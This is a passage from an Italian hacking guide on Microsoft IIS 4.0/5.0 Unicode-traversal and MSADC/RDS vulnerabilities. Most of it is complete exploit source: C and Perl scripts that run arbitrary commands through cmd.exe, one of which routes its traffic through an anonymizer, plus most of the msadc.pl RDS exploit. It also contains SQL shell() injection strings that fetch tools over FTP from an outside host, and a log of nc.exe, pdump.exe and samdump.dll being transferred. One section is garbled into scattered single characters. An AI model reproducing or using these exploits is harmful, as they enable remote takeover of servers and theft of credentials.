"/samples/#uni/winnt/system32/cmd.exe?/c+",
"/iisadmpwd/#uni/winnt/system32/cmd.exe?/c+",
"/_vti_cnf/#uni/winnt/system32/cmd.exe?/c+",
"/_vti_bin/#uni/winnt/system32/cmd.exe?/c+",
"/exchange/#uni/winnt/system32/cmd.exe?/c+",
"/pbserver/#uni/winnt/system32/cmd.exe?/c+",
"/adsamples/#uni/winnt/system32/cmd.exe?/c+"
};
int cont=0;
char send_buf[SEND]="";
int x,j;
int uni_len=sizeof(uni)/sizeof(char *);
int path_len=sizeof(path)/sizeof(char *);
struct hostent *he;
struct sockaddr_in their_addr;

if(argc!=4)
{
fprintf(stderr,"usage:%s <hostname> <port> <commands>\n",argv[0]);
exit(1);
}
if((he=gethostbyname(argv[1]))==NULL)
{
perror("gethostbyname");
exit(1);
}
port=atoi(argv[2]);
/***************************************************************************/
for(x=0;x<path_len;x++)
for(j=0;j<uni_len;j++)
{
sprintf(send_buf,"GET %s%s HTTP/ 1.0\n\n", path[i],argv[3] );
str_replace(uni[j],"#uni",send_buf);
if(cont==200) {
sleep(3);
cont=0;
}
cont++;
sleep(1);
if( fork()!=0)
{
if( (sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("socket");
exit(1);
}
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(port);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);

if( connect(sockfd,(struct sockaddr*)&their_addr, sizeof(struct sockaddr))==-1)


{
perror("connect");
exit(1);
}
if(send(sockfd,send_buf,SEND,0) ==-1)
{
perror("send");
exit(0);
}

if( (numbytes=recv(sockfd,recv_buf,RECIVE,0 )) == -1)


{
perror("recv");
exit(1);
}
recv_buf[numbytes]='\0';
//printf("%s\n",recv_buf);
if( (numbytes=recv(sockfd,recv_buf,RECIVE,0 )) == -1)
{
perror("recv");
exit(1);
}
recv_buf[numbytes]='\0';
printf("\n-----------------------------------------------\n");
printf("String: %s\n\n",send_buf);
printf("%s\n------------bytes recived: %d------------------\n",recv_buf,numbytes);

close(sockfd);
exit(0);
}
close(sockfd);
while(waitpid(-1,NULL, WNOHANG) > 0);
}
printf("Done...\n");
return 0;
}
Un ulteriore exploits parametrizabile quello che segue :
/* hack IIS 4.0/5.0 with the usefull UNICODE :) and have fun */
/* coded by zipo */
/* to compile: cc -o iisuni iisuni.c */
/* made for all the lame populus :) */
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
#define BUFF_LEN 6000
#define HTTP " HTTP/1.0\r\n\r\n"
#define GET "GET http://"
/* this is the anonymous server used */
#define ANON "anon.free.anonymizer.com"
/* this are all the types of bugs */
#define BUG1_STR
"/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
#define BUG2_STR "/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+"
#define BUG3_STR
"/iisadmpwd/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+"
#define BUG4_STR "/"
/* this is the IIS http server port */

#define HTTP_PORT 80
int main (int argc, char *argv[]) {
struct sockaddr_in sin;
struct hostent *he;
char *bug,cmd[BUFF_LEN],recbuffer[BUFF_LEN],buffer[BUFF_LEN];
int sck, i;
if (argc < 3)
bad_params (argv[0]);
switch (atoi(argv[2])) {
case 1:
bug = BUG1_STR;
break;
case 2:
bug = BUG2_STR;
break;
case 3:
bug = BUG3_STR;
break;
case 4:
bug = BUG4_STR;
break;
default:
printf ("Number error\n");
exit(1);
}
while (1) {
printf ("bash# ");
fgets (cmd, sizeof(cmd), stdin);
cmd[strlen(cmd)-1] = '\0';
if (strcmp(cmd, "exit")) {
if (!strcmp(cmd, "clear")) {
system("clear");
continue;
} else if (!strcmp(cmd, "")) {
continue;
} else if (!strcmp(cmd, "?")) {
printf ("Just you need to type in the prompt the M$DOS
command\n");
printf ("to exit type \"exit\" :)\n");
continue;
}
/* prepare the string to be sent */
for (i=0;i<=strlen(cmd);i++) {
if (cmd[i] == 0x20)
cmd[i] = 0x2b;
}
sprintf (buffer, "%s%s%s%s%s", GET, argv[1], bug, cmd, HTTP);
/* get ip */
if ((he = gethostbyname (ANON)) == NULL) {
herror ("host error");
exit (1);
}
/* setup port and other parameters */
sin.sin_port = htons (HTTP_PORT);
sin.sin_family = AF_INET;
memcpy (&sin.sin_addr.s_addr, he->h_addr, he->h_length);
/* create a socket */
if ((sck = socket (AF_INET, SOCK_STREAM, 6)) < 0) {
perror ("socket() error");
exit (1);

}
/* connect to the sucker */
if ((connect (sck, (struct sockaddr *) &sin, sizeof (sin))) < 0) {
perror ("connect() error");
exit (1);
}
/* send the beautifull string */
write (sck, buffer, sizeof(buffer));
/* recive all ! :) */
read (sck, recbuffer, sizeof(recbuffer));
/* and print it */
recbuffer[strlen(recbuffer)-1]='\0';
printf
("\033[0;7m-------------------------------------Received----------------------------------\n");
printf
("%s\n---------------------------------------Done------------------------------------\n\033[7;0m", recbuffer);
/* close the socket ... not needed any more */
close (sck);
/* put zero's in the buffers */
bzero (buffer, sizeof(buffer));
bzero (recbuffer, sizeof(recbuffer));
} else {
/* you type "exit" cya :) */
exit(0);
}
}
}
/* you miss a parameter :'-( */
int bad_params (char *prog_name) {
fprintf (stdout, "usage:\n\t%s <hostname> <number>\n", prog_name);
fprintf (stdout,
"-------------------------------------------------------\n");
fprintf (stdout, "<1> msadc\t");
fprintf (stdout, "<2> scripts\t");
fprintf (stdout, "<3> iisadmpwd\t");
fprintf (stdout, "<4> /\n");
fprintf (stdout,
"-------------------------------------------------------\n");
exit (1);
}
/* EOF */
Lultimo sorgente indirizzato ad eseguire un comando sul sistema remoto lo vedamo scritto in
PERL.
#!/usr/bin/perl
# See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
# Very simple PERL script to execute commands on IIS Unicode vulnerable servers
# Use port number with SSLproxy for testing SSL sites
# Usage: unicodexecute2 IP:port command
# Only makes use of "Socket" library
#
# New in version2:
# Copy the cmd.exe to something else, and then use it.
# The script checks for this.
# Thnx to security@nsfocus.com for discovering the cmd.exe copy part
#
# Roelof Temmingh 2000/10/26

# roelof@sensepost.com http://www.sensepost.com
use Socket;
# --------------init
if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
# --------------test if cmd has been copied:
$failed=1;
$command="dir";
@results=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line (@results){
if ($line =~ /sensepost.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
print "Sensepost.exe not found - Copying CMD...\n";
$command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
$command=~s/ /\%20/g;
@results2=sendraw("GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command
HTTP/1.0\r\n\r\n");
foreach $line2 (@results2){
if (($line2 =~ /copied/ )) {$failed2=0;}
}
if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
}
# ------------ we can assume that the cmd.exe is copied from here..
$command=@ARGV[1];
print "Sensepost.exe found - Executing [$command] on $host:$port\n";
$command=~s/ /\%20/g;
my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command
HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S);
$|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
Tra le varie utilities che sono reperibili sulla rete ne esistono alcune che funzionano grazie a
un interfaccia utente in ambiente WINDOWS.
Una di queste si chiama IIS4-5.EXE.
Limmagine che segue la maschera di lavoro del programma.

MSADC e RDS Exploits


Un tipo di exploit basato sempre sullinterfaccia WEB quello definito con il nome di MSADC
Exploits.
Il bugs dipende dal Remote Data Service (RDS) componente di MDAC ovvero il Microsoft
Data Access Components.
La configurazione di default di RDS permetterebbe di inviare dei comandi da eseguire a IIS i
quali verrebbero mandati in esecuzione con gli stessi diritti legati allutente con cui viene
eseguito il servizio il quale normalmente appunto SYSTEM.
Questo bugs permetterebbe ipoteticamente a qualsiasi utente di prendere possesso di
qualsiasi sistema in rete..
TUTTE le versioni di MDAC sono vulnerabili se al momento dell installazione sono state
inserite anche le pagine desempio di RDS.
La vulnerabilit vive iun due diversi componenti di RDS e precisamente nel DataFactory
Object e nel VbBusObj object.
Il Remote Data Service stato progettato per abilitare I client del WEB ad inviare delle
QUERY usando http verso delle risorse di dati remote tenute in hostintg su IIS Web server.
Il client remote comunica con la dll, msadcs.dll, sul server, il quale usa il DataFactory object
per abilitare lo scambio con il database.
Il problema sorge a causa di una caratteristica del Microsofts Jet database engine, il quale
permette ad una stringa di SQL query a contenere degli argomenti embedded, tramite i quali
possibile specificare dei comandi VBA (Visual Basic for Applications).

Questa possibilit permette ad un attaccante di eseguire del codice arbitrariamente attraverso


una shell, aiutata da una pecca di IIS il quale permette lesecuzione di comandi ODBC con i
privilegi system_local.
Il risultato che una attaccante pu connettersi a un WEB server IIS vulnerabile attraverso
Internet, inizializzare una connessione SQL con un database sul server tramite msadcs.dll, e
quindi inviare comendi embedded VBA al server stesso.
I comandi VBA vengono eseguiti dal database engine, attraverso una shell di comandi,
permettendo allattaccante di possedere dei privilegi non autorizzati per laccesso al server.
Nel caso in cui il bugs sia dovuto al DataFactory object, lattaccante conta sulla presenza dei
compojnenti vulnerabili MDAC, I quali sono installati di default da IIS.
Il DSN fornisce le informazioni legate alla connessione per accedere ai files di dati.
Lattaccante pu anche utilizzare un DSN esistente, o pu specificare manualmente la
locazine del file .mdb file sul server.
Di conseguenza qualsiasi .mdb di defgault oppure DSN sul server vulnerabile pu essere
utilizzato per lanciare un attacco.
Alcuni files possono essere installati come files desempio fa Windows stesso o da qualsiasi
altro programma.
Un metodo alternativo dattacco possiede come obbiettivo il VbBusObj object.
Questo oggetto installato come parte delle pagine desempio ma che comqunue non vengo
no installate di default.
Queste sono invece installate di default dal MDAC 2.0 Software Developers Kit.
Questo attacco funziona nello stesso modo dellattacco al DataFactory.
Rintracciare i sistemi vulnerabili sulla rete semplice in quanto con un linguaggio come PERL
e il solito NETCAT possibile eseguire uno scannino alla ricerca del segno che
testimonierebbe questa vulnerabilit ovvero la presenza della dll msadcs.dll.
Per riuscire a comprendere se un determinato HOST vulnerabile possibile inviare :
GET /msadc/msadcs.dll HTTP/1.0

Se la risposta :
HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 04 Feb 2001 12:43:21 GMT

Content-Type: application/x-varg
Content-Length: 6
allora il server vulnerabile.
La verifica invece relativa alla disponibilit di RDS e quella invece legata al suo corretto
funzionamento pu essere fatta inviando mediante il metodo POST una delle seguenti query
RDS :
Normal QUERY
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
VbBusObj to bypass custom handlers
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetRecordset
Query VbBusObj for NetBIOS name
/msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName
Si.RDS in funzione se la risposta :
User-Agent:
ACTIVEDATA
Host: lab.wiretrip.net
Content-Length: 645
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; numargs=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: 436
'!ADM!ROX!YOUR!WORLD!' di fatto una stringa MIME di separazione che come vedremo
viene utilizzata anche da MSADC.PL
Il test di funzionamento di RDS pu anche avvenire cercando di creare un file chiamato FUN
e inserendogli dentro il testo WERD.
S
l
=
=
u

e
l
{
c
s

l
(
M
:
t

e
"
i
\
m

c
c
c
w
r

t
m
r
i
.

*
d
o
n
m

f
/
s
n
d

r
c
o
t
b

o
e
f
\
;

m
c
t
h

C
h
A
e

u
o
c
l

s
w
c
p

t
e
e
\

o
r
s
i

m
d
s
i

e
>
D
s

r
>
r
\

s
c
i
h

w
:
v
t

h
\
e
m

e
f
r
\

r
u
(
t

e
n
*
u

C
"
.
t

i
)
m
o

t
|
d
r

y
'
b
i

=
d
)
a

'
r
}
l

GET /guest/default.asp/..../..../..../fun HTTP/1.1


Altre funzioni legate alla copia di files, al loro rename possono essere tentate con :

|
i
;
\

s
v
d
b

h
e
b
t

e
r
q
c

GET
/msadc/..../..../..../winnt/system32/cmd.exe?/c+copy+C:\winnt\s
ystem32\cmd.exe+cmd1.exe HTTP/1.1
Copia CMD.EXE nella directory dove lhacker intende usarlo.
Il comando server a riscrivere default.html, cosa utilizzata quando si esegue un defacement di
un sito.
Come abbiamo gi visto esistono alcuni file che possono essere considerati le basi per
riuscire a crearsi delle shell nei sistemi remoti e precisamente ROOTKIT e NETCAT.
Il fatto che in qualche caso esiste la necessit di copiare dentro ad un sistema dei files ci
porta a considerare il seguente metodo per eseguire queste funzioni tra i metodo pi utili
eseguibili com questo tipo di attacco.
Nellesempio che segue viene utilizzato FTP per trasferire dei files da o verso il sistema.
FTP Execution String via RDS:
Select * from Customers where City ='|shell("cmd /c ftp-s:ftpcomnwww.nether.net")|'driver={Microsoft Access Driver (*.mdb)};
dbq=c:winnt\help\iis\htmtutorial\btcustmr.mdb;
--!ADM!ROX!YOUR!WORLD!^x
220 freenet.nether.net FTP server (SunOS 5.7) ready.

GET /msadc/../../../../../../program files/common files/system/msadc/


cmd1.exe?/c+ftp+-s:ftpcom HTTP/1.1
220-Serv-U FTP-Server v2.5h for WinSock ready...
220--------H-A-C-K T-H-E P-L-A-N-E-T-------220-W3|_c0m3 T0 JohnA's 0d4y Ef-Tee-Pee S3rv3r.
220-Featuring 100% elite hax0r warez!@$#@
220-Im running win 95 (Release candidate 1), on a p33, with 16mb Ram.
220 -------H-A-C-K T-H-E P-L-A-N-E-T-------USER johna2k
331 User name okay, need password.
PASS haxedj00
230 User logged in, proceed.
PORT 172,16,1,106,12,71
200 PORT Command successful.
150 Opening ASCII mode data connection for nc.exe (59392 bytes).
150 Opening ASCII mode data connection for pdump.exe (32768 bytes).
150 Opening ASCII mode data connection for samdump.dll (36864 bytes).
226 Transfer complete.
221 Buh bye, you secksi hax0r j00
Lexploits classico che si trova sulla rete legato a questo BUGS scritto in PERL e il codice
quello che segue.
Per lanciarlo possibile utilizzare la seguente sintassi :
./msadc.pl -h <host> -u <unc path> -s 5
#!/usr/bin/perl
#
# MSADC/RDS 'usage' (aka exploit) script version 2
#

#
#
#

by rain forest puppy


- added UNC support, really didn't clean up code, but oh well

use Socket; use Getopt::Std;


getopts("e:vd:h:XRVNwcu:s:", \%args);
print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host>
= host you want to scan (ip or domain)
-d <seconds>
= delay between calls, default 1 second
-X
= dump Index Server path table, if available
-N
= query VbBusObj for NetBIOS name
-V
= use VbBusObj instead of ActiveDataFactory
-v
= verbose
-e
= external dictionary file for step 5
-u <\\\\host\\share\\file>
= use UNC file
-w
= Windows 95 instead of Windows NT
-c
= v1 compatibility (three step query)
-s <number>
= run only step <number>
Or a -R will resume a (v2) command session
~; exit;}
###########################################################
# config data
@drives=("c","d","e","f","g","h");
@sysdirs=("winnt","winnt35","winnt351","win","windows");
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");
# this is sparse, because I don't know of many
@sysmdbs=(
"\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\ias\\ias.mdb",
"\\system32\\ias\\dnary.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
@mdbs=(
"\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just \
###########################################################
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $target= inet_aton($ip)
|| die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X}) { &hork_idx; exit; }
if (defined $args{N}) { &get_name; exit; }

if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}


if (defined $args{R}) { &load; exit; }
print "Type the command line you want to run ($comm assumed):\n"
. "$comm ";
$in=<STDIN>;
chomp $in;
$command="$comm " . $in ;
if (!defined $args{s} || $args{s}==1){
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;}
if (!defined $args{s} || $args{s}==2){
print "\nStep 2: Trying to make our own DSN...";
if (&make_dsn){ print "<<success>>\n"; sleep(3); } else {
print "<<fail>>\n"; }}
# we need to sleep to let the server catchup
if (!defined $args{s} || $args{s}==3){
print "\nStep 3: Trying known DSNs...";
&known_dsn;}
if (!defined $args{s} || $args{s}==4){
print "\nStep 4: Trying known .mdbs...";
&known_mdb;}
if (!defined $args{s} || $args{s}==5){
if (defined $args{u}){
print "\xStep 5: Trying UNC...";
&use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }}
if (!defined $args{s} || $args{s}==6){
if (defined $args{e}){
print "\nStep 6: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }}
print "\n\nNo luck, guess you'll have to use a real hack, eh?\n";
exit;
##############################################################################
sub sendraw {
# this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
open(OUT,">raw.out");
my @in;
select(S);
$|=1;
print $pstr;
while(<S>){ print OUT $_; push @in, $_;
print STDOUT "." if(defined $args{X});}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }}
##############################################################################
sub make_header { # make the HTTP request
my $aa, $bb;
if (defined $args{V}){
$aa="VbBusObj.VbBusObjCls.GetRecordset";
$bb="2";
} else {
$aa="AdvancedDataFactory.Query";
$bb="3";}
$msadc=<<EOT
POST /msadc/msadcs.dll/$aa HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=$bb
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
;
$msadc=~s/\n/\r\n/g;
return $msadc;}
##############################################################################
sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;
if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City='|shell(\"$command\")|'";
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}
elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C='|shell(\"$command\")|'";
$dsn="$p1";}
elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}
elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}
elsif ($switch==6){ # this is table-independant query (new)
$query="select * from MSysModules where name='|shell(\"$command\")|'";
$dsn="$p1";}
$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}
##############################################################################
sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}
##############################################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}
##############################################################################
sub make_dsn { # this (tries to) make a DSN for us
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}

##############################################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}
##############################################################################
sub try_btcustmr {
foreach $dir (@sysdirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";
save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;");
exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
##############################################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##############################################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}
##############################################################################
sub save {
my ($p1)=@_; my $ropt="";
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
if (defined $args{c}){ $ropt="c ";}
if (defined $args{V}){ $ropt.="V ";}
if (defined $args{w}){ $ropt.="w ";}
print OUT "v2\n$ip\n$ropt\n$p1\n";
close OUT;}
##############################################################################
sub load {
my ($action)=@_;
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
die("Wrong rds.save version") if $p[0] ne "v2\n";
$ip="$p[1]"; $ip=~s/\n//g;
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
@switches=split(/ /,$p[2]);
foreach $switch (@switches) {
$args{$switch}="1";}
if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
print "Type the command line you want to run ($comm assumed):\n"
. "$comm ";
$in=<STDIN>;
chomp $in;

$command="$comm " . $in ;


$torun="$p[3]"; $torun=~s/\n//g;
if($torun=~/btcustmr/){
$args{'c'}="1";}
# this is a kludge to make it work
if($torun=~/^dbq/){ $torun=$drvst.$torun; }
if(run_query("$torun")){
print "Success!\n";} else { print "failed\n"; }
exit;}
##############################################################################
sub create_table {
return 1 if (!defined $args{c});
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}
##############################################################################
sub known_dsn {
foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
if(run_query("DSN=$dSn")){
print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";}
##############################################################################
sub is_access {
my ($in)=@_;
return 1 if (!defined $args{c});
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}
##############################################################################
sub run_query {
my ($in)=@_; my $req;
if (defined $args{c}){$req=3;} else {$req=6;}
$reqlen=length( make_req($req,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req($req,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}
##############################################################################
sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
foreach $drive (@drives) {
foreach $dir (@sysdirs){
foreach $mdb (@sysmdbs) {
print ".";

if(create_table($drv.$drive.":\\".$dir.$mdb)){
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit;
}}}}}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv.$drive.":".$mdb)){
if(run_query($drv.$drive.":".$mdb)){
print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit;
}}}}
}
##############################################################################
sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}
##############################################################################
sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
if(run_query("DSN=$dSn")){
print "Success!\n"; save ("dsn=$dSn"); exit; }}}
print "\n"; close(IN);}
##############################################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) { # assume there's less than 500 headers
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
return -1;} # it should never get here actually
##############################################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}
if($error=~/server has denied access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}
##############################################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");

my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep("^Server:",@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}
##############################################################################
sub use_unc {
$uncpath=$args{u};
$driverline="driver={Microsoft Access Driver (*.mdb)};dbq=";
